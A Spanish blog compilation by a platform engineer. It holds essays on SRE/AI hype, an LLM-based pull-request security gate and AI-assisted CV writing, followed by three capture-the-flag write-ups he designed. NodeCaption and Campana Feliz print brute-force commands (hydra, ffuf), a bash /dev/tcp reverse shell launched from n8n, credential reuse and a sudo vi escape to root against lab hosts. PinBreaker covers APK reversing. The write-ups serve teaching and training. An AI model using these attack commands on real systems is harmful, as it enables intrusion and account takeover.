El problema es que el mercado necesita nombres nuevos para vender lo mismo de siempre. Y así acabamos llamando AI a automatizaciones frágiles y SRE a operaciones reactivas con otro envoltorio. Luego llegan los incidentes, los sobrecostes y la frustración. Y nadie entiende por qué.

No es una crítica a quien empieza. Todos hemos empezado usando herramientas antes de entender sistemas. El problema es institucionalizar eso como rol senior.

Cuando se vacían las etiquetas, se vacía también la expectativa. Y cuando la expectativa es baja, el proyecto nace roto.

No escribo esto para marcar bandos ni para decir quién es más o menos ingeniero. Lo escribo porque llevo tiempo viendo cómo se confunden los nombres con el fondo. Y porque esa confusión tiene consecuencias reales en producción.

SRE y AI no son títulos aspiracionales. Son responsabilidades.

Si se usan como marketing, el sistema acaba pagando el precio.

OpsGuard-AI: cuando el que revisa el código también es una IA

Oscar — Fri, 06 Mar 2026 00:00:00 GMT

Cuando el que revisa el código también es una IA

Llevo tiempo estudiando un máster en Inteligencia Artificial mientras trabajo como Platform Engineer. En algún punto del camino, las dos cosas colisionaron de una forma que no esperaba.

Y de esa colisión nació OpsGuard-AI. Mi TFM.

El problema que nadie quería nombrar

Empecé el máster con una idea vaga de lo que quería investigar. Pero cuanto más trabajaba con LLMs en mi día a día, más incómodo me sentía con algo que nadie estaba diciendo en voz alta:

¿Quién revisa el código que genera la IA?

No hablo de Copilot completando una función. Hablo de agentes autónomos que abren pull requests, que comiten cambios, que modifican infraestructura. Cosas que ya están pasando en producción. Hoy.

El problema no es que la IA genere código malo. El problema es que genera código plausible. Código que compila, que pasa los tests unitarios, que tiene buena pinta. Y escondido dentro, una SQL injection. Un secret hardcodeado. O algo más sutil: una imagen Docker descargada de ghrc.io en lugar de ghcr.io. Una letra de diferencia. Un ataque de typosquatting que ningún SAST del mercado va a pillar porque la sintaxis es perfectamente válida.

Eso fue el detonante.

La idea: una puerta antes de producción

La propuesta de OpsGuard-AI es simple en concepto y compleja en ejecución: un sistema de revisión de seguridad que se sienta en el pipeline de CI/CD y analiza cada pull request antes de que el código llegue a producción.

No otro escáner de dependencias. No otra herramienta de SAST con 500 reglas que nadie mantiene. Algo diferente.

El núcleo del sistema son dos puertas en serie:

Gate 1 — Motor de Regex: Detección estructural. Patrones de credenciales, tokens de AWS, API keys. Determinista, sin latencia, sin llamadas externas. Si el patrón está, se bloquea en milisegundos.

Gate 2 — Motor Semántico con LLM: Aquí es donde cambia todo. El diff del PR se le pasa a un modelo de lenguaje con un prompt de análisis de seguridad muy trabajado. El modelo no busca patrones. Entiende el contexto. Puede ver que una query construida con concatenación de strings en ese contexto específico es una SQL injection aunque no haya ningún regex que la defina.

La puntuación de riesgo va de 0 a 10. Por encima de 7, el sistema bloquea y abre automáticamente un GitHub Issue con el label security-block y la justificación detallada.

Lo que más me costó entender

Diseñar el sistema fue complicado. Pero lo que más tiempo me llevó no fue el código. Fue tomar decisiones de arquitectura que importan de verdad.

La más importante: el dato sensible nunca sale del entorno local.

Suena obvio. Pero tiene consecuencias enormes. Si mandas el diff de un PR a una API externa, estás mandando tu código, tus secretos, tu arquitectura, a un tercero. Eso es inaceptable en cualquier entorno serio.

La solución fue usar OpenRouter con modelos configurables, permitiendo apuntar a modelos locales si la organización lo requiere. El Gate 1, el de regex, funciona completamente offline. Y el Gate 2 solo recibe lo estrictamente necesario para el análisis.

Otra decisión que defendí con fuerza en los ADRs del proyecto: política de fallo cerrado. Si el sistema no puede determinar si algo es seguro, bloquea. No aprueba. No deja pasar "por si acaso". El riesgo desconocido es riesgo.

En un mundo donde los agentes de IA pueden cometer código a las 3 de la madrugada sin que nadie mire, esa decisión no es filosófica. Es práctica.

El momento en que supe que funcionaba

Preparé un conjunto de pruebas que internamente llamo el shooting range: código intencionalmente vulnerable, diseñado para ver si el sistema lo detecta.

El caso que más me gustó fue el del typosquatting. Una imagen Docker apuntando a ghrc.io en lugar de ghcr.io. Un solo carácter. El Gate 1 no lo detecta, porque no hay ningún patrón de credencial. Semgrep tampoco. Trivy tampoco.

El Gate 2 lo bloqueó con un score de 9/10 y una explicación que describía exactamente el vector de ataque: un dominio que imita al registro oficial de GitHub para inyectar imágenes maliciosas en el pipeline.

Ahí entendí que el enfoque tenía sentido real.

Lo que aprendí construyendo esto

Primero: el prompt engineering es ingeniería, no magia. Pasé semanas refinando el prompt del Gate 2. Pequeños cambios en la instrucción cambian drásticamente la calidad del análisis. Externalicé los prompts a su propio directorio para poder versionarlos y mejorarlos sin tocar código. Eso fue una de las mejores decisiones del proyecto.

Segundo: la arquitectura modular no es un lujo. Separar la ingesta del diff, la detección de patrones, el cliente LLM y el CLI en módulos independientes me permitió testear cada pieza por separado. Puedo ejecutar todo el test suite sin una sola llamada a la API. En CI/CD eso es fundamental.

Tercero, y esto es lo que me llevo más allá del TFM: el problema de la seguridad en pipelines con IA va a ser un campo crítico en los próximos años. No porque la IA sea mala. Sino porque estamos dándole capacidad de acción a sistemas que no tienen criterio propio sobre las consecuencias. Alguien tiene que tenerlo.

Por qué lo hice open source

Porque si el problema es real, la solución tiene que poder revisarse. No tiene sentido construir una herramienta de seguridad que sea una caja negra.

Todo el código, los ADRs, el diseño de los prompts, el razonamiento detrás de cada decisión está en el repositorio: OpsGuard-AI . Si trabajas en DevOps, en seguridad, o simplemente te preocupa lo que pasa cuando los agentes de IA llegan a tu pipeline, échale un vistazo.

Y si ves algo que mejorarías, abre un issue. O mejor, un PR.

Aunque ahora ya sabes que OpsGuard lo va a revisar antes que yo.

Cómo mejorar tu CV con inteligencia artificial sin convertirlo en texto genérico

Oscar — Tue, 10 Mar 2026 00:00:00 GMT

La inteligencia artificial no va a escribir un buen CV por ti.

Puede ayudarte a detectar carencias, mejorar la redacción y adaptar mejor tu experiencia a una oferta concreta. Pero si le delegas todo el criterio, el resultado suele ser el mismo. Un currículum plano, inflado y fácil de detectar.

Aquí falla mucha gente. Unos copian y pegan lo primero que devuelve una IA y lo envían sin tocar nada. Otros rechazan cualquier ayuda porque creen que usar estas herramientas es hacer trampa. Ninguno de los dos enfoques sirve.

La IA aporta valor cuando funciona como apoyo. No como sustituto de tu experiencia, de tu criterio ni de tu voz.

Antes de empezar, entiende para qué sirve cada herramienta

No todas las herramientas de IA hacen lo mismo y mezclar usos suele acabar mal.

Por un lado están los analizadores de CV. Sirven para evaluar un documento existente y señalar problemas de estructura, claridad, compatibilidad con ATS, secciones ausentes o falta de términos relevantes para una vacante. Son útiles para detectar fallos que tú ya no ves porque llevas demasiado tiempo revisando el mismo archivo.

Por otro lado están los modelos generativos como ChatGPT o Claude. Son más útiles para reformular logros, condensar experiencia, limpiar redacción o convertir descripciones pobres en mensajes más claros.

Y luego están las herramientas de maquetación o plantillas inteligentes. Aquí conviene ir con cuidado. Muchas generan documentos visualmente atractivos pero técnicamente malos. Columnas, barras, iconos y diseños que un ATS interpreta mal o directamente no interpreta.

Un CV no tiene que parecer creativo. Tiene que poder leerse bien y transmitir valor con claridad.

El proceso que sí funciona

La mayoría empieza mal. Le piden a la IA que reescriba el CV entero y esperan que eso arregle el problema.

No funciona así.

Primero necesitas diagnóstico. Después corrección. Luego mejora de redacción.

Empieza revisando la estructura. Si tu CV tiene tablas, varias columnas, textos incrustados en imágenes o nombres de secciones poco claros, eso hay que resolverlo antes de hablar de contenido. Si el sistema no puede leerlo bien, todo lo demás importa menos.

Después revisa el lenguaje frente a una oferta concreta. Compara cómo describes tu experiencia con cómo la describe el mercado. Si una vacante habla de observabilidad, automatización operativa o gestión de incidencias y tú usas frases vagas, probablemente estás perdiendo señal útil. No se trata de mentir. Se trata de nombrar bien lo que sí has hecho.

Luego llega la parte donde la IA puede aportar bastante. Reformular experiencia con foco en impacto. Muchas personas describen tareas. Pocas explican resultado. No es lo mismo escribir que gestionabas despliegues que explicar que automatizaste despliegues y redujiste errores manuales en entornos críticos. La IA puede ayudarte a pasar de actividad a impacto, siempre que la base sea tuya.

Cuando termines una ronda de cambios, vuelve a revisar el documento. El objetivo no es dejarlo bonito. El objetivo es que sea más claro, más coherente y más alineado con el puesto al que apuntas.

Y al final pasa el filtro más importante. Una lectura humana con criterio. Un colega serio, alguien de tu sector o alguien que contrate perfiles parecidos al tuyo verá problemas que una IA no ve.

Cómo usar IA generativa sin degradar tu CV

La IA funciona mejor cuando no le pides magia, sino tareas concretas.

En el perfil profesional puede ayudarte a resumir experiencia, seniority, especialización y tipo de impacto en pocas líneas. Pero el primer borrador casi siempre sale demasiado plano o demasiado corporativo. Tu trabajo es corregirlo hasta que suene a una persona y no a un folleto.

En la experiencia profesional puede ayudarte a transformar descripciones flojas en mensajes más sólidos. Por ejemplo, separar responsabilidad, contexto y resultado. Eso sí es útil. Lo que no sirve es dejar que invente métricas, hinche funciones o convierta un trabajo normal en una supuesta transformación estratégica.

En la sección de habilidades también puede ser útil, sobre todo para comparar tu CV con varias ofertas y detectar términos repetidos. Pero aquí hay una regla simple. Si no puedes defender una habilidad en entrevista, no la pongas.

Dónde más tiempo te puede ahorrar

La carta de presentación es uno de los mejores sitios para usar IA sin demasiada fricción.

No porque la IA escriba mejor que tú, sino porque evita empezar de cero cada vez. Le puedes dar tu experiencia, la oferta y el contexto de la empresa, y pedirle un borrador razonable. Después tú corriges tono, prioridad y contenido.

Eso sí. Si el texto sirve para cualquier empresa, entonces no sirve para ninguna. La personalización sigue dependiendo de ti.

Lo que no debes hacer

No dejes que la IA invente experiencia, responsabilidades, herramientas ni resultados. Eso no es optimización. Eso es falsificación.

No metas porcentajes si no sabes de dónde salen. No pongas tecnologías que apenas has tocado. No conviertas tareas rutinarias en supuestas iniciativas de alto impacto si luego no puedes sostenerlo en una entrevista técnica.

Y sobre todo, no entregues un CV que suene igual que miles de CV generados con el mismo prompt.

En 2026 el acceso a estas herramientas ya no diferencia a nadie. Lo que diferencia es el criterio con el que las usas.

El objetivo

La IA no debería convertir tu CV en algo más impresionante. Debería ayudarte a que sea más preciso, más legible y más eficaz.

Ese es el punto.

Un buen CV no promete lo que no eres. Explica mejor lo que sí sabes hacer. Si la IA te ayuda a detectar carencias, limpiar redacción y alinear mejor tu experiencia con el mercado, úsala. Si convierte tu historial profesional en texto genérico, te está perjudicando.

Tu currículum no necesita parecer escrito por una máquina. Necesita parecer sólido, claro y creíble.

NodeCaption: automatización expuesta, credenciales reutilizadas y ejecución remota en Linux

Oscar — Fri, 13 Mar 2026 00:00:00 GMT

Autor: Oscar | Senior Platform Engineer / SRE
Dificultad: intermedio | SO: Linux

Sobre este CTF

NodeCaption es una máquina que diseñé para representar una cadena de compromiso basada en varios errores muy concretos: exposición innecesaria de servicios, filtrado de información útil en contenido web, reutilización de credenciales y abuso de herramientas de automatización con capacidad de ejecución sobre el sistema.

No hace falta una vulnerabilidad sofisticada para comprometer un host si la superficie expuesta está mal pensada. Cuando una aplicación web revela información útil, el acceso al panel se protege mal y una plataforma como n8n permite ejecutar comandos, la distancia entre autenticación débil y control total del sistema se reduce mucho.

En esta entrada muestro la resolución completa, desde la enumeración inicial hasta la obtención de root, explicando qué representa cada fase y por qué esta cadena tiene sentido fuera del laboratorio.

Información técnica

Campo	Valor
Nombre	NodeCaption
IP objetivo	192.168.0.115
Servicios	SSH (22), n8n (5678), Apache (8765)
Vectores principales	comentario HTML → login web → reutilización de credenciales en n8n → `Execute Command` → reverse shell → `sudo vi`
Dificultad	intermedio

Reconocimiento

Enumeración inicial

El primer paso fue identificar los servicios expuestos por la máquina. A partir de la enumeración inicial se detectaron tres puertos relevantes:

22/tcp → SSH
5678/tcp → servicio HTTP correspondiente a n8n
8765/tcp → servidor Apache

Con esa superficie identificada, el foco pasa a las dos aplicaciones web, ya que son las que pueden ofrecer tanto información como una vía de acceso inicial.

Exploración web

Puerto 8765 — Apache

Accedemos al servicio Apache expuesto en el puerto 8765 y revisamos el código fuente de la página principal.

Allí aparece un comentario especialmente útil:

<!-- usuario@maildelctf.com  
Recuerda: mínimo 8 caracteres, 1 número y 1 mayúscula -->

Comentario

Ese comentario es el primer error serio del escenario.

No contiene una contraseña, pero sí entrega dos piezas muy valiosas:

un usuario válido
una pista directa sobre la política mínima de contraseña

Eso no rompe el sistema por sí solo, pero sí reduce de forma importante el espacio de búsqueda y convierte el proceso de autenticación en un objetivo mucho más abordable.

Fuzzing de rutas

Con el objetivo de localizar un panel de autenticación, realizamos fuzzing de directorios sobre el puerto 8765:

gobuster dir -u http://192.168.0.115:8765 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txt

Como resultado, localizamos el endpoint:

login.php

Ese recurso presenta un formulario de autenticación basado en correo y contraseña.

Análisis

La cadena empieza a quedar clara:

Apache expone una página aparentemente inocua
el HTML filtra un correo válido y una política de contraseña
el mismo sitio contiene un formulario de login en login.php

Esto ya no es solo filtración de información. Es una preparación bastante directa para un ataque de credenciales.

Acceso inicial

Fuerza bruta contra `login.php`

Con el correo obtenido desde el comentario HTML, realizamos un ataque de fuerza bruta contra el formulario web:

ffuf -w /usr/share/wordlists/rockyou.txt -X POST -d "email=usuario@maildelctf.com&password=FUZZ" -u http://192.168.0.115:8765/login.php -H "Content-Type: application/x-www-form-urlencoded" -mc all -fs 1808

Este ataque permite identificar una contraseña válida para el usuario usuario@maildelctf.com, obteniendo acceso correcto al panel web.

Comentario

Aquí no hay bypass de autenticación ni ninguna magia. Lo que hay es una mala combinación de factores:

usuario expuesto en el código fuente
pista sobre los requisitos de contraseña
formulario accesible públicamente
ausencia de controles eficaces frente a intentos automatizados

Es una cadena muy simple, pero perfectamente plausible fuera de un laboratorio.

Reutilización de credenciales

Una vez obtenidas las credenciales válidas en el panel del puerto 8765, probamos si esas mismas credenciales se reutilizan en la instancia de n8n expuesta en el puerto 5678.

La autenticación funciona correctamente.

Análisis

Este paso representa una mala práctica muy concreta y muy habitual: reutilización de credenciales entre aplicaciones distintas.

No hace falta comprometer dos sistemas diferentes si ambos dependen del mismo secreto. En este caso, la misma credencial abre la puerta al panel de automatización, que tiene un impacto mucho mayor sobre el host.

Ejecución remota de comandos en n8n

Creación de un workflow malicioso

Una vez dentro del panel de n8n, creamos un workflow con un nodo Execute Command, lo que nos permite ejecutar comandos directamente sobre el sistema.

Aprovechando esa capacidad, configuramos una reverse shell hacia nuestra máquina atacante:

bash -c 'bash -i >& /dev/tcp/192.168.0.109/4444 0>&1'

En el equipo atacante preparamos el listener:

nc -nlvp 4444

Después ejecutamos el workflow desde n8n y recibimos conexión.

Resultado: shell interactiva obtenida como usuario thl.

Comentario

Este es el núcleo técnico del laboratorio.

n8n no es inseguro por definición. El problema aparece cuando una plataforma con capacidad de orquestación y ejecución queda expuesta a credenciales débiles o reutilizadas. En ese momento deja de ser una herramienta de automatización y se convierte en una superficie directa de ejecución remota.

Aquí el error no es una CVE. Es una decisión de diseño y operación.

Acceso inicial al sistema

Con la reverse shell ya activa, comprobamos el contexto actual y confirmamos que el acceso se obtiene como el usuario thl.

A partir de ahí, la resolución cambia de fase: ya no estamos buscando entrar en el sistema, sino convertir ese acceso en privilegios completos.

Escalada de privilegios

Revisión de permisos sudo

Una vez dentro, enumeramos permisos sudo:

sudo -l

La revisión muestra que vi puede ejecutarse con privilegios elevados, pero requiere contraseña debido a la configuración de sudo.

Eso significa que la vía de escalada existe, pero todavía nos falta el secreto necesario para usarla.

Obtención de la contraseña de `thl`

Sabiendo que el servicio SSH estaba expuesto desde el principio, se lanza un ataque de fuerza bruta contra el usuario thl:

hydra -l thl -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.115

Tras obtener una credencial válida, ya podemos iniciar sesión por SSH como thl y disponer de la contraseña necesaria para operar con sudo.

Escape a shell privilegiada con `vi`

Con la contraseña correcta, aprovechamos vi como vector de escape siguiendo el comportamiento documentado en GTFOBins:

sudo vi -c ':!/bin/sh' /dev/null

Resultado: shell con privilegios de root y control total del sistema.

Análisis

La escalada final vuelve a reforzar la idea central de la máquina:

un usuario comprometido no implica necesariamente privilegios completos
pero si ese usuario tiene permisos sudo útiles y una contraseña reutilizable o débil, la escalada deja de ser complicada
vi, como otras herramientas interactivas, puede convertirse en una vía directa de shell privilegiada si se permite su ejecución como root

De nuevo, no hace falta un fallo raro. Basta con una delegación de privilegios mal planteada.

Notas del autor

Aunque NodeCaption tiene varias fases, la máquina no está diseñada para premiar el ruido, sino para enseñar una secuencia concreta de errores encadenados:

Vector	Lo que enseña	Error real representado
comentario en HTML	filtrado de información operativa	datos útiles expuestos en contenido público
`login.php` accesible	superficie de autenticación directa	paneles publicados sin endurecimiento real
fuerza bruta sobre login web	debilidad en credenciales	contraseñas pobres o demasiado previsibles
reutilización en n8n	dependencia de secretos compartidos	mismas credenciales entre aplicaciones
nodo `Execute Command`	ejecución sobre el host	automatizaciones con capacidad operativa excesiva
reverse shell desde n8n	compromiso del sistema desde una plataforma legítima	abuso de herramientas de automatización
`sudo vi`	escalada local clásica	privilegios mal delegados sobre binarios interactivos

Lo importante de esta máquina no es solo llegar a root. Lo importante es entender cómo una cadena de pequeñas malas decisiones termina convirtiendo una aplicación web expuesta y una plataforma de automatización en una puerta completa al sistema.

Recursos y referencias

Campana Feliz: De una pista pública a Root por mala gestión de accesos

Oscar — Fri, 13 Mar 2026 00:00:00 GMT

Autor: Oscar | Senior Platform Engineer / SRE
Plataforma: TheHackersLabs | Dificultad: Principiante | SO: Linux

Sobre este CTF

Este CTF lo diseñé para TheHackersLabs con una idea muy concreta: mostrar cómo una cadena de fallos pequeños, pistas mal protegidas y credenciales expuestas puede terminar en compromiso total del sistema.

No es una máquina pensada para meter ruido ni para esconder la solución detrás de trucos absurdos. El objetivo es que quien la resuelva entienda algo importante: muchas intrusiones no empiezan con una vulnerabilidad sofisticada, sino con malas decisiones básicas en publicación de contenido, autenticación y administración.

En este writeup explico la resolución completa de la máquina, desde el reconocimiento inicial hasta la obtención de acceso como root, y dejo claro qué error representa cada paso dentro de un escenario realista.

Información técnica

Campo	Valor
Nombre	Campana Feliz
IP objetivo	10.10.10.37
Servicios	SSH (22), HTTP (8088), Webmin (10000)
Vectores principales	pistas en web → credenciales débiles → panel de comandos → Webmin
Dificultad	Principiante

Reconocimiento

Verificación de conectividad

Antes de enumerar servicios, comprobamos que la máquina responde en red desde nuestro entorno de trabajo.

ping -c 1 10.10.10.37

Salida:

PING 10.10.10.37 (10.10.10.37) 56(84) bytes of data.
64 bytes from 10.10.10.37: icmp_seq=1 ttl=64 time=1.87 ms

--- 10.10.10.37 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.870/1.870/1.870/0.000 ms

Conectividad confirmada. A partir de aquí ya podemos pasar a la enumeración de servicios.

Escaneo y enumeración

Para identificar puertos abiertos, versiones de servicios y pistas útiles, realizamos un escaneo completo con Nmap:

nmap -sVC -p- -T4 10.10.10.37

Resultado:

PORT      STATE SERVICE               VERSION
22/tcp    open  ssh                   OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
8088/tcp  open  http                  Apache httpd 2.4.62 ((Debian))
10000/tcp open  ssl/snet-sensor-mgmt?
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=debian/countryName=US
| Subject Alternative Name: DNS:debian, DNS:localhost
| Not valid before: 2024-12-09T08:17:52
|_Not valid after:  2029-12-08T08:17:52
| fingerprint-strings:
|   GetRequest, HTTPOptions:
|     HTTP/1.0 200 Document follows
|     Server: MiniServ
|     Auth-type: auth-required=1
|     Set-Cookie: redirect=1; path=/; secure; httpOnly
|     Set-Cookie: testing=1; path=/; secure; httpOnly
|     X-Frame-Options: SAMEORIGIN
|     Content-type: text/html; Charset=UTF-8

Análisis inicial

Este escaneo ya nos deja una ruta bastante clara:

Puerto 22: SSH disponible, pero sin credenciales todavía.
Puerto 8088: servidor web en Apache. Probable punto de entrada inicial.
Puerto 10000: servicio MiniServ, que encaja con una instalación de Webmin.

A nivel ofensivo, esto ya dibuja una posibilidad razonable: encontrar una credencial en la web y reutilizarla en otro servicio administrativo.

Revisión de los servicios web

1. Sitio en el puerto 8088

Al revisar la web del puerto 8088, a simple vista no aparece nada especialmente sensible. Sin embargo, al inspeccionar su contenido se observan varios fragmentos codificados en Base64.

Uno de ellos:

echo "Q2FtcGFuYSBzb2JyZSBjYW1wYW5hCgpZIHNvYnJlIGNhbXBhbmEgdW5hCgpBc8OzbWF0ZSBhIGxhIHZlbnRhbmEKClZlcsOhcyBlbCBuacOxbyBlbiBsYSBjdW5hCg==" | base64 -d

Resultado:

Campana sobre campana

Y sobre campana una

Asómate a la ventana

Verás el niño en la cuna

Otro fragmento:

echo "Q2FtcGFuYSBDYW1wYW5hIENhTXBBTkEgQ2FNcGFOYQo=" | base64 -d

Resultado:

Campana Campana CaMpANA CaMpaNa

Comentario

Aquí no hay una vulnerabilidad técnica compleja. Hay una mala práctica clara: dejar pistas semiescondidas que terminan exponiendo un posible nombre de usuario.

La palabra campana aparece con demasiada insistencia como para ignorarla. En una máquina de nivel principiante, eso suele ser suficiente para orientar el siguiente paso.

Fuzzing sobre el sitio web

Como la revisión manual no muestra todo el contenido expuesto, ampliamos superficie con dirsearch:

dirsearch -u http://10.10.10.37:8088

Resultado relevante:

[200] /shell.php

La ruta /shell.php devuelve una página de autenticación. Eso cambia por completo la lectura del escenario: ya no estamos solo ante una web con pistas, sino ante un portal potencialmente sensible.

Análisis

Este hallazgo es importante porque el sistema ya nos ofrece dos piezas encadenables:

Un posible usuario: campana
Un formulario de login accesible en /shell.php

Cuando una aplicación expone un panel de acceso adicional y además deja pistas de identidad en el contenido público, el siguiente paso lógico es comprobar la solidez de las credenciales.

Fuerza bruta sobre `shell.php`

Probamos autenticación contra el formulario usando Hydra, con el usuario campana y el diccionario rockyou.txt:

hydra -l campana -P rockyou.txt 10.10.10.37 -s 8088 http-post-form "/shell.php:username=^USER^&password=^PASS^:Username or password invalid"

Resultado:

[8088][http-post-form] host: 10.10.10.37   login: campana   password: lovely

Credencial válida obtenida:

Usuario: campana
Contraseña: lovely

Comentario

El fallo aquí no es Hydra. El fallo real es otro:

usuario predecible
contraseña débil
formulario accesible públicamente
mensaje de error lo bastante claro como para automatizar el ataque sin dificultad

Es la clase de cadena que sigue apareciendo en entornos mal cuidados. Nada sofisticado. Solo controles básicos ausentes.

Acceso a `shell.php`

Accedemos al portal con las credenciales obtenidas y comprobamos que no se trata de un panel cualquiera, sino de un ejecutor de comandos.

Esto ya supone una ruptura clara del sistema, porque nos da capacidad de explorar el host sin necesidad de shell interactiva inicial.

Tras revisar directorios y contenido disponible, aparece un punto especialmente interesante dentro de /opt.

ls /opt

En ese directorio encontramos un archivo con información útil para el siguiente salto:

cat /opt/Webmin.txt

Contenido relevante recuperado:

Usuario: santaclaus
Contraseña: FelizNavidad2024

Análisis

Este paso representa otro error clásico: secretos administrativos almacenados en rutas accesibles desde componentes inseguros.

Una vez que un panel web permite ejecución de comandos, cualquier credencial dejada en texto plano dentro del sistema pasa a ser material de explotación directa.

Acceso a Webmin

Con las credenciales encontradas, accedemos al servicio del puerto 10000, que corresponde a Webmin.

Dentro del panel, tras revisar sus secciones, encontramos una funcionalidad crítica dentro de herramientas administrativas: ejecución de comandos, y además con contexto privilegiado.

Eso cierra la cadena de explotación. Ya no dependemos de un usuario intermedio ni de un truco local. La propia consola de administración nos entrega ejecución como root.

Comentario

Aquí la máquina enseña algo muy simple y muy real:

No basta con tener un panel de administración protegido con usuario y contraseña. Si esa credencial acaba expuesta en el sistema, el panel deja de ser una medida de seguridad y pasa a ser una vía directa de compromiso total.

Obtención de shell como `root`

Para operar con más comodidad, levantamos un listener desde nuestra máquina atacante:

nc -lvnp 1234

Después, desde la consola de comandos de Webmin, enviamos una reverse shell hacia nuestro host.

En el listener recibimos conexión:

connect to [10.10.10.20] from (UNKNOWN) [10.10.10.37] 37494

Comprobación:

whoami
id
ls

Resultado:

root
uid=0(root) gid=0(root) groups=0(root)
root.txt
webmin-1.920
webmin-1.920.tar.gz

Ya tenemos acceso completo al sistema.

Notas del autor

Aunque esta máquina es de nivel principiante, no está pensada para regalar una shell sin más. Está diseñada para enseñar una secuencia muy concreta de errores que aparecen con demasiada frecuencia:

Vector	Lo que enseña	Error real representado
Pistas en Base64 dentro de la web	Exposición indirecta de información útil	Contenido publicado con demasiadas pistas
Usuario predecible	Debilidad en identidad y acceso	Nombres de usuario triviales o deducibles
Contraseña débil en formulario web	Autenticación pobre	Passwords simples frente a servicios expuestos
`shell.php` accesible desde web	Superficie de ataque innecesaria	Herramientas peligrosas expuestas en entornos accesibles
Credenciales en `/opt/Webmin.txt`	Mala gestión de secretos	Almacenamiento inseguro en texto plano
Webmin con ejecución de comandos	Riesgo de administración remota	Paneles privilegiados sin aislamiento real

Mi intención con esta máquina fue clara: demostrar que no hace falta una cadena compleja de CVEs para comprometer un sistema. A veces basta con juntar una pista pública, una contraseña mala y una administración descuidada.

Recursos y referencias

PinBreaker: diseñando un laboratorio de reversing básico sobre un PIN hardcodeado

Oscar — Sat, 14 Mar 2026 00:00:00 GMT

Máquina creada por: Oscar
Plataforma: The Hackers Labs
Sistema operativo: Android
Dificultad: principiante

Sobre este CTF

PinBreaker lo diseñé como un laboratorio corto y muy directo para introducir una idea concreta: cómo un mecanismo de validación aparentemente simple puede quedar completamente expuesto cuando la lógica sensible se deja embebida en el cliente.

No planteé esta máquina como una sucesión de trucos ni como un reto pensado para alargar artificialmente la resolución. La construí para enseñar una cadena muy concreta y fácil de reconocer: distribución de un artefacto Android, análisis estático del APK, localización de una validación insegura y obtención de la flag a partir del dato descubierto.

La parte importante no era “adivinar” un PIN, sino obligar a leer la aplicación como lo haría un atacante. Cuando una app incluye secretos hardcodeados y toma decisiones de seguridad en el lado cliente, el problema no es el PIN en sí, sino el modelo de confianza. Ese es el aprendizaje que quería fijar con este CTF.

También quise que el formato fuese distinto al de una máquina clásica. Aquí no hay una intrusión remota ni una escalada local tradicional. El foco está en el reversing básico y en entender que muchos fallos de seguridad no aparecen en un servicio expuesto a red, sino en cómo se empaqueta y distribuye la lógica de una aplicación.

Información técnica

Campo	Valor
Nombre	PinBreaker
IP objetivo	No aplica
Servicios	No aplica; el objetivo es un APK Android
Cadena principal	análisis estático del APK → extracción de PIN hardcodeado → cálculo de SHA256
Dificultad	principiante

Preparación del laboratorio

El artefacto entregado en este caso no era una máquina accesible por red, sino un paquete comprimido de pequeño tamaño que incluía el APK de la aplicación y un PDF con instrucciones básicas de uso.

Ese detalle forma parte del diseño. Quería romper la expectativa habitual de “levantar máquina, escanear y enumerar” para llevar al participante a otro terreno: el análisis de aplicaciones. La superficie de ataque aquí no era un servicio TCP, sino el propio binario distribuido al usuario.

Desde el punto de vista didáctico, esta primera fase enseña algo muy básico pero importante: no todos los fallos explotables requieren interacción dinámica. A veces basta con inspeccionar con calma el artefacto correcto.

Análisis estático del APK

Para revisar la aplicación, el camino natural era usar JADX en su versión gráfica y abrir directamente el paquete APK.

jadx-gui pinbreaker.apk

Una vez cargada la aplicación, la navegación por el código descompilado llevaba al paquete principal y, dentro de él, a la clase MainActivity, donde estaba implementada la lógica de validación.

En esta fase lo que quería enseñar era el valor del análisis estático básico en Android. No hacía falta instrumentación, hooking ni ejecución en emulador. Bastaba con revisar el flujo de la aplicación y localizar el punto donde se toma la decisión de aceptar o rechazar el PIN.

Ese planteamiento refleja un error muy común fuera de un CTF: colocar lógica sensible en el cliente y asumir que, por estar compilada dentro de una app, ya queda razonablemente protegida. En realidad, cuando el control de acceso depende de una comparación local con un valor embebido, el mecanismo deja de ser una barrera y pasa a ser una pista.

Localización de la validación del PIN

Dentro de MainActivity aparecía una función equivalente a checkPin(String), encargada de recibir el valor introducido y compararlo con un dato estático. La validación devolvía un booleano en función de si el PIN coincidía o no con el valor esperado.

Del análisis del código se extraía el PIN correcto:

8524947156

Aquí el aprendizaje que buscaba no era solamente “sacar un valor del código”, sino entender por qué ese diseño es débil. El problema representado es el de un secreto hardcodeado dentro de una aplicación distribuida al usuario final. En cuanto el atacante tiene acceso al APK, también tiene acceso potencial a la lógica que gobierna la autenticación local.

Este tipo de fallo aparece con frecuencia en escenarios reales: claves incrustadas, validaciones offline, comparaciones directas contra constantes o checks locales que intentan sustituir controles del lado servidor. PinBreaker resume ese patrón de forma deliberadamente simple para que la idea quede limpia.

Obtención de la flag

Una vez recuperado el PIN, la segunda parte del laboratorio consistía en transformarlo en la flag mediante SHA256.

El detalle importante aquí es evitar el salto de línea para no alterar el hash resultante. Por eso el comando correcto es:

echo -n "8524947156" | sha256sum

En una de las notas aparecía el uso de echo sin -n, pero para que el resultado sea consistente con el objetivo del laboratorio es necesario calcular el hash de la cadena exacta, sin añadir un retorno de carro al final.

La salida de ese comando proporciona el valor que se utiliza como flag.

Desde el punto de vista de diseño, esta última fase sirve para cerrar el laboratorio con una verificación objetiva y simple. No quise añadir pasos extra ni complicaciones artificiales. El reto estaba en localizar correctamente el dato sensible y entender la debilidad estructural; el hash sólo formaliza la entrega.

Lectura técnica de la cadena completa

La cadena de PinBreaker es muy corta, pero no es arbitraria:

Se entrega una aplicación Android como artefacto.
El participante inspecciona el código descompilado.
Encuentra una validación local basada en un valor fijo.
Extrae el PIN correcto.
Deriva la flag a partir de ese valor.

Lo relevante es que cada fase existe para reforzar una misma idea: cuando la aplicación cliente contiene secretos o decisiones de seguridad que deberían estar protegidas de otra forma, el atacante no necesita romper nada sofisticado; le basta con leer.

Eso es exactamente lo que quería enseñar al diseñar esta máquina. No hay explotación espectacular porque no hacía falta. La debilidad ya estaba en la arquitectura de confianza.

Qué quería enseñar al diseñar PinBreaker

PinBreaker está pensado como una introducción a fallos de diseño en aplicaciones móviles donde la validación se resuelve completamente en cliente. La intención no era poner a prueba una cadena compleja de explotación, sino enseñar a reconocer una mala decisión de diseño que vuelve trivial el bypass.

